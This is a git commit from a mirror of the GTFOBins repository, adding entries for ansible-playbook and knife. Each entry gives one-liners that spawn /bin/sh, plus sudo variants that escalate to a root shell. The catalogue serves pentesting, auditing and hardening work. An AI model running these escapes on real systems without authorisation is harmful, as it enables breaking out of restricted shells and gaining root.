1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add knife and ansible-playbook

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Nasef 2021-07-13 18:38:09 +02:00 committed by GitHub
parent de6a9adef2
commit ee3eb38ee4
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 23 additions and 0 deletions

@ -0,0 +1,13 @@
---
functions:
shell:
- code: |
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
ansible-playbook $TF
sudo:
- code: |
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF
---

10
_gtfobins/knife.md Normal file

@ -0,0 +1,10 @@
---
description: This is capable of running [`ruby`](/gtfobins/ruby/) code.
functions:
shell:
- code: |
knife exec -E 'exec "/bin/sh"'
sudo:
- code: |
sudo knife exec -E 'exec "/bin/sh"'
---